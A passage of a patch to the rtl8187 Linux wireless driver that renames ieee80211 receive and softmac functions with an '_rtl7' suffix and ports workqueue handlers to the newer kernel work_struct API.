crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +431,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -444,7 +508,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -483,7 +547,7 @@ sc = le16_to_cpu(hdr->seq_ctl); frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +565,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +593,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +619,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -575,7 +639,7 @@ #endif - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -606,7 +670,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +683,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +694,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +728,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +738,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +758,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +786,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +827,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -896,7 +960,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +977,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1028,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1055,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1078,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1147,7 +1211,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,7 +1219,7 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID @@ -1172,7 +1236,7 @@ (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1204,7 +1268,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1303,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1262,11 +1326,11 @@ spin_lock_irqsave(&ieee->lock, flags); - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1370,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1321,15 +1385,15 @@ * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { @@ -1339,7 +1403,7 @@ IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1347,7 +1411,7 @@ IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1419,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac.c rtl8187_txpower/ieee80211/ieee80211_softmac.c --- rtl8187_orig/ieee80211/ieee80211_softmac.c 2006-06-19 03:27:33.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_softmac.c 2007-03-05 00:31:52.525345690 +0100 @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,7 +34,7 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; @@ -52,7 +52,7 @@ * Then it updates the pointer so that * it points after the new MFIE tag added. */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { u8 *tag = *tag_p; @@ -69,7 +69,7 @@ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { u8 *tag = *tag_p; @@ -92,7 +92,7 @@ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; @@ -110,7 +110,7 @@ //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; @@ -125,15 +125,15 @@ return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; @@ -144,13 +144,13 @@ spin_lock_irqsave(&ieee->lock, flags); /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); if(single){ if(ieee->queue_stop){ - enqueue_mgmt(ieee,skb); + enqueue_mgmt_rtl7(ieee,skb); }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -184,7 +184,7 @@ } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; @@ -219,7 +219,7 @@ } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; @@ -228,7 +228,7 @@ len = ieee->current_network.ssid_len; - rate_len = ieee80211_MFIE_rate_len(ieee); + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); @@ -251,21 +251,21 @@ memcpy(tag, ieee->current_network.ssid, len); tag += len; - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; unsigned long flags; - skb = ieee80211_get_beacon_(ieee); + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } @@ -279,37 +279,37 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - skb = ieee80211_probe_req(ieee); + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; @@ -349,7 +349,7 @@ ieee->set_chan(ieee->dev, ch); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. @@ -384,11 +384,17 @@ } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; + down(&ieee->scan_sem); do{ ieee->current_network.channel = @@ -402,7 +408,7 @@ goto out; ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); #if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,25 +459,25 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { // unsigned long flags; @@ -490,22 +496,22 @@ up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); @@ -513,18 +519,18 @@ } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { struct sk_buff *skb; @@ -557,7 +563,7 @@ } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -578,7 +584,7 @@ else atim_len = 0; - if(ieee80211_is_54g(ieee->current_network)) + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; @@ -664,7 +670,7 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; @@ -673,7 +679,7 @@ struct ieee80211_assoc_response_frame *assoc; short encrypt; - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; skb = dev_alloc_skb(len); @@ -711,13 +717,13 @@ tag = (u8*) skb_put(skb, rate_len); - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; @@ -744,7 +750,7 @@ } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; @@ -770,35 +776,35 @@ } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; @@ -807,7 +813,7 @@ unsigned int wpa_len = beacon->wpa_ie_len; - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); @@ -848,8 +854,8 @@ tag = skb_put(skb, rate_len); - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); tag = skb_put(skb,wpa_len); @@ -858,7 +864,7 @@ return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -887,13 +893,13 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; @@ -901,20 +907,20 @@ IEEE80211_DEBUG_MGMT("Stopping scan\n"); ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); if (!skb) - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { u8 *c; struct sk_buff *skb; @@ -924,9 +930,9 @@ ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); if (!skb) - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; @@ -935,16 +941,16 @@ IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; @@ -954,20 +960,26 @@ IEEE80211_DEBUG_MGMT("Sending association request\n"); ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); if (!skb) - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) { +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; @@ -977,13 +989,13 @@ printk(KERN_INFO"Using B rates\n"); } ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); @@ -995,24 +1007,29 @@ queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) { +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - ieee80211_stop_scan(ieee); + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); + ieee80211_associate_step1_rtl7(ieee); up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; 